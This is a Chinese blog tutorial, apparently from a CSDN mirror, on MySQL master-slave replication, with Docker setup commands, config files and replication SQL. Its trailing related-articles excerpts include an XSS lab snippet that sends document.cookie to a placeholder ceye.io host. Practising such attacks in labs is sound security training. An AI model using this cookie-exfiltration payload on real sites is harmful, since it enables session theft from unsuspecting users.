MySQL主從同步集群(Docker搭建)

?以下筆記都是基于黑馬程序員的面試題寫的:

Mysql定位慢查詢-CSDN博客

Mysql索引-CSDN博客

MySQL事物相關-CSDN博客

MySQL主從同步集群(Docker搭建)-CSDN博客

MySQL相關面試問題總結-CSDN博客


????????主從同步(Master-Slave Replication)是數據庫集群中常用的高可用、高并發解決方案,通過將主數據庫(Master)的數據變更同步到從數據庫(Slave),實現數據的多副本存儲和讀寫分離。

一、主從同步的核心目標

  1. 數據備份:從庫作為主庫的副本,避免單庫故障導致數據丟失。
  2. 讀寫分離:主庫負責寫操作(INSERT/UPDATE/DELETE),從庫負責讀操作(SELECT),分散數據庫壓力,提升并發能力。
  3. 故障轉移:主庫故障時,可將從庫切換為主庫,保證服務連續性。

二、工作原理

MySQL主從復制的核心就是二進制日志。

二進制日志(BINLOG)記錄了所有的 DDL(數據定義語言)語句和 DML(數據操縱語言)語句,但不包括數據查詢(SELECT、SHOW)語句。

復制分成三步:

  1. Master 主庫在事務提交時,會把數據變更記錄在二進制日志文件 Binlog 中。
  2. 從庫讀取主庫的二進制日志文件 Binlog ,寫入到從庫的中繼日志 Relay Log 。
  3. slave重做中繼日志中的事件,將改變反映它自己的數據。

三、主從同步的常見架構

一主一從:最簡單的架構,主庫寫入,從庫備份 + 讀。

一主多從:主庫連接多個從庫,分擔更多讀壓力(如電商詳情頁的高頻查詢)。

級聯復制(主 -> 從 -> 從):主庫只同步給一個從庫,該從庫再同步給其他從庫,減輕主庫的 binlog 發送壓力。

四、Docker搭建MySQL主從同步集群

1.環境

centos7,MySQL8.0.19、MobaXterm

目的:

實現MySQL主從同步集群——一主一從

2.步驟

1.拉取鏡像并創建網絡

拉取鏡像:

docker pull mysql:8.0.19

創建網絡:

docker network create mysql-net

2.創建掛載目錄

master:

創建掛載目錄:

mkdir -p mysql-demo/master3307/{conf,data,logs}

vi /home/hl/mysql-demo/master3307/conf/my.cnf?

vi /home/hl/mysql-demo/master3307/logs/mysql-slow.log

將以下內容復制進my.cnf:

[mysqld]
# 開啟慢查詢日志
slow_query_log = 1
# 慢查詢日志路徑(需對應容器內路徑,已掛載到本地 /docker/mysql/logs)
slow_query_log_file = /var/log/mysql/mysql-slow.log
# 慢查詢閾值(單位:秒,超過此值的 SQL 會被記錄)
long_query_time = 1# 主庫唯一ID(必須與從庫不同)
server-id=1  
# 開啟binlog,日志文件名前綴
log_bin=mysql-bin 
# 二進制日志過期清理時間。默認值為0,表示不自動清理。
expire_logs_days=7

賦予權限:

chown -R 999:999 /home/hl/mysql-demo/master3307/logs

slave操作同上,my.cnf內容不同:

[mysqld]
# 從庫唯一ID(必須與主庫不同)
server-id = 2  
# 中繼日志文件名前綴
relay_log = mysql-relay-bin  
# 從庫設為只讀(可選,增強安全性,root用戶不受限)
read_only = 1  

3.創建容器

docker run -d \--name mysql-master \--network mysql-net \-p 3307:3306 \-e MYSQL_ROOT_PASSWORD=1234 \-v /home/hl/mysql-demo/master3307/conf:/etc/mysql/conf.d \-v /home/hl/mysql-demo/master3307/data:/var/lib/mysql \-v /home/hl/mysql-demo/master3307/logs:/var/log/mysql \mysql:8.0.19
docker run -d \--name mysql-slave \--network mysql-net \-p 3308:3306 \-e MYSQL_ROOT_PASSWORD=1234 \-v /home/hl/mysql-demo/slave3308/conf:/etc/mysql/conf.d \-v /home/hl/mysql-demo/slave3308/data:/var/lib/mysql \-v /home/hl/mysql-demo/slave3308/logs:/var/log/mysql \mysql:8.0.19

4.配置主庫

進入主庫 MySQL 命令行,查看慢日志是否開啟:


# 進入容器
docker exec -it mysql8 bash# 登錄 MySQL
mysql -u root -p# 查看慢查詢配置
SHOW VARIABLES LIKE 'slow_query_log';  # 應顯示 ON
SHOW VARIABLES LIKE 'long_query_time'; # 應顯示 1.000000
SHOW VARIABLES LIKE 'slow_query_log_file'; # 應顯示日志路徑

不用退出,執行 SQL 創建用于從庫同步的用戶(如repl,密碼repl123):

-- 刪除原用戶(若存在)
DROP USER 'repl'@'%';
-- 重新創建用戶,指定認證插件為 mysql_native_password
CREATE USER 'repl'@'%' IDENTIFIED WITH mysql_native_password BY 'repl123';
-- 授予復制權限
GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%';
-- 刷新權限
FLUSH PRIVILEGES;-- 查看主庫binlog信息(記錄文件名和位置,后續從庫配置需要)
SHOW MASTER STATUS;

需記錄FilePosition:

5.配置從庫

進入從庫,執行 SQL 配置主庫連接信息(替換為實際的FilePosition、主庫 IP / 容器名):

-- 停止同步(若已配置過)
STOP SLAVE;-- 配置主庫信息
CHANGE MASTER TOMASTER_HOST='mysql-master',  # 主庫容器名(或主機IP,需在同一網絡)MASTER_USER='repl',          # 主庫創建的同步用戶MASTER_PASSWORD='repl123',   # 同步用戶密碼MASTER_LOG_FILE='mysql-bin.000003',  # 主庫SHOW MASTER STATUS中的FileMASTER_LOG_POS=1750;          # 主庫SHOW MASTER STATUS中的Position-- 啟動同步
START SLAVE;-- 查看從庫同步狀態(關鍵看Slave_IO_Running和Slave_SQL_Running是否為Yes)
SHOW SLAVE STATUS\G

若輸出中:

Slave_IO_Running: Yes
Slave_SQL_Running: Yes

則表示主從同步配置成功。

3.驗證主從同步

主庫插入數據
主庫 MySQL 命令行執行:

USE test;
CREATE TABLE t1 (id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(20));
INSERT INTO t1 (name) VALUES ('test1'), ('test2');

從庫查詢數據
從庫 MySQL 命令行執行:

USE test;
SELECT * FROM t1;

若能查詢到主庫插入的test1test2,則同步成功。

五、相關面試問題

5.1 主從同步的原理是什么?

? ? ? ? 主從同步的核心就是二進制文件binlog,其中記錄了全部的DDL語句和DML語句,但不包括數據查詢(SELECT、SHOW)語句。

? ? ? ? 主從同步復制分為以下三步:

? ? ? ? 第一,master主庫在事物提交時,將數據變更語句寫入到binlog中。

? ? ? ? 第二,從庫讀取binlog中的記錄,并寫入到中繼日志replay log中。

? ? ? ? 第三,從庫執行replay log中的語句,實現與主庫數據的同步。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90164.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90164.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90164.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

NISP-PTE基礎實操——XSS

pteXSS模擬1 <script> var img document.createElement("img");img.src"http://xxxxx.ceye.io/log?"escape(document.coo kie);document.body.appendChild(img); </script> 重放加Cookie頭 pteXSS模擬2 <script type"text/javasc…

基于網絡爬蟲的在線醫療咨詢數據爬取與醫療服務分析系統,技術采用django+樸素貝葉斯算法+boostrap+echart可視化

摘要 為了發揮互聯網醫療問詢服務平臺在客觀衡量醫療服務質量、進一步分析和挖掘網民評論數據方面的作用&#xff0c;本文完成了互聯網醫療問詢數據抓取與醫療服務質量服務分析平臺的主要模塊應用&#xff0c;如用戶登錄注冊、醫療服務質量數據分析與信息可視化以及用戶情緒識別…

【備忘錄】Ubuntu 配置 NFS

安裝 NFSsudo apt-get install nfs-kernel-server rpcbind啟動 NFSsudo systemctl start nfs-server查看 NFSsudo service nfs-server status

【coze扣子】第1篇:coze快速入門

文章目錄coze扣子Coze優點Coze智能體快速入門1、登錄進入到個人主頁2、創建智能體3、智能體組成部分4、智能體的發布人設與回復邏輯LLM模型配置模型設置生成多樣性(抽象程度)Top P&#xff08;話癆程度&#xff09;重復語句懲罰攜帶上下文輪數最大回復長度技能插件觸發器定時觸…

PyCharm 入門指南:起步學習、開發環境一體

PyCharm 入門指南一、前置準備&#xff1a;為什么選擇 PyCharm&#xff1f; 對于 Python 初學者&#xff0c;PyCharm 是最友好的集成開發環境&#xff08;IDE&#xff09;之一。它通過智能代碼提示、自動糾錯、調試工具、版本控制集成等功能&#xff0c;大幅降低開發門檻。本文…

【Java企業級開發】(六)Java框架技術-Maven和MyBatis

一、Maven 1.1 非Maven項目的缺點 問題一&#xff1a; 項目中的jar包資源需要我們自己從網上下載后&#xff0c;手動導入到項目中使用&#xff0c;不好管理 問題二&#xff1a; jar包版本控制麻煩 1.2 Maven介紹 Maven是使用Java語言編寫的基于項目對象模型&#xff08;POM&am…

學習秒殺系統-頁面優化技術

文章目錄前言頁面緩存URL緩存對象緩存頁面緩存取緩存手動渲染URL緩存對象緩存頁面靜態化&#xff0c;前后端分離&#xff08;常用&#xff09;GET POST區別如何解決超賣&#xff1f;重復賣&#xff1f;&#xff08;簡單版&#xff09;靜態資源優化多個JS/CSS組合&#xff0c;減…

QCC系列顯示交互層的自研技術突破與實踐

在音頻設備智能化進程中&#xff0c;顯示交互的流暢度與兼容性已成為用戶體驗的核心指標。傳統方案中&#xff0c;TFT 彩屏與多語言適配常面臨硬件驅動沖突、功耗失控、字符顯示錯亂等問題。作為高通平臺十年級方案商&#xff0c;騰泰技術在 QCC 系列中聚焦顯示交互層的自研技術…

JMeter 實現 Protobuf 加密解密

一、 .proto文件編譯成.jar文件 相關依賴下載詳見&#xff1a;將 message.proto 編譯成 .jar文件 1.依賴于java編譯環境 2.依賴protoc編譯jar包 編譯目錄 1.創建一個根目錄&#xff1a;protobuf 2.在protobuf下創建build、output、lib、src目錄 lib&#xff1a;放 protobu…

發票識別在費控系統應用剖析

一、發票識別與費控系統的融合價值1.1 解決傳統費控痛點效率瓶頸突破&#xff1a;將人工處理每張發票的5-8分鐘縮短至秒級自動識別準確性飛躍&#xff1a;關鍵字段識別準確率從人工的95%提升至99%以上合規性強化&#xff1a;自動對接稅務系統驗真&#xff0c;虛假發票識別率提升…

Rust實戰:決策樹與隨機森林實現

基于 Rust 實現決策樹(Decision Tree)和隨機森林(Random Forest)的實例 Linfa的基本定義 Linfa是意大利語中“淋巴”(lymph)的意思,在醫學領域指淋巴系統相關的結構或功能。淋巴系統由淋巴管、淋巴結、脾臟等組成,負責免疫防御和體液平衡。 Linfa在生物學中的作用 …

9. isaacsim4.2教程-ROS加相機/CLOCK

在本示例中&#xff0c;我們將學習如何&#xff1a; 向場景中添加額外的相機并將其安裝在機器人上 添加相機發布器&#xff08;Camera Publishers&#xff09; 通過 rostopics 發送真實的合成感知數據&#xff08;ground truth synthetic perception data&#xff09; 前提…

微信小程序171~180

1.封裝購物車接口API import http from /utils/httpexport const reqAddCrt ({ goodsId, count, ...data }) > {return http.get(/cart/addToCart/${goodsId}/${count}, data) }export const reqCartList () > {return http.get(/cart/getCartList) }export const reqU…

修改 docker 容器的掛載配置(保持數據不丟的情況)

一、核心原理Docker 容器的運行時配置&#xff08;包括掛載&#xff09;是啟動時確定的&#xff0c;一旦啟動無法直接修改。因此&#xff0c;需通過以下步驟實現&#xff1a;保存原容器中的數據&#xff08;避免丟失&#xff09;&#xff1b;基于原鏡像創建新容器&#xff0c;同…

MVCC(多版本并發控制)介紹及實現原理

一、什么是MVCC&#xff1f; MVCC&#xff08;Multi-Version Concurrency Control&#xff0c;多版本并發控制&#xff09;是數據庫中用于解決并發訪問問題的一種機制。它通過為數據維護多個版本&#xff0c;讓讀寫操作在不同版本上獨立進行&#xff0c;從而避免了傳統鎖機制中…

密碼學基礎概念詳解:從古典加密到現代密碼體系

一、引言&#xff1a;為什么我們需要密碼學&#xff1f; 在數字化時代&#xff0c;信息已成為核心生產要素&#xff0c;而信息安全則是保障社會運轉的基石。當我們在電商平臺輸入銀行卡密碼時&#xff0c;當我們通過即時通訊工具發送私密消息時&#xff0c;當企業在云端存儲核心…

小鵬汽車視覺算法面試30問全景精解

小鵬汽車視覺算法面試30問全景精解 ——智能駕駛 車路協同 視覺創新:小鵬汽車視覺算法面試核心考點全覽 前言 小鵬汽車作為中國智能電動汽車的創新引領者,致力于通過AI與自動駕駛技術推動智能出行的變革。小鵬視覺算法團隊深耕自動駕駛感知、車路協同、智能座艙、3D重建…

程序是如何生成的-以c語言為例

一&#xff0c;序言 從代碼到能跑的程序&#xff0c;整個過程就像 “把外文翻譯成母語&#xff0c;再組裝成能直接用的東西”&#xff0c;一步步來更清楚&#xff1a; 源代碼&#xff08;程序員寫的代碼&#xff0c;如C語言文件&#xff09;↓ 預處理&#xff08;處理#開頭的命…

風險識別清單:構建動態化的風險管理體系

在項目管理實踐中&#xff0c;風險識別是確保項目成功的關鍵環節。PMBOK提出的風險提示清單&#xff08;Prompt List&#xff09;為項目團隊提供了一個系統化的思考框架&#xff0c;幫助突破個人經驗局限&#xff0c;實現更全面的風險覆蓋。這一工具的價值不僅在于其提供的標準…

從“點狀用例”到“質量生態”:現代軟件測試的演進、困局與破局

測試的三次范式躍遷業務高速迭代下的四大困局質量工程化&#xff1a;流程、平臺、度量三位一體左移與右移&#xff1a;把缺陷扼殺在搖籃&#xff0c;也把監控鋪到墳墓自動化金字塔的再平衡&#xff1a;UI、API、單元、契約、e2e數據驅動測試&#xff1a;從“拍腦袋”到“科學實…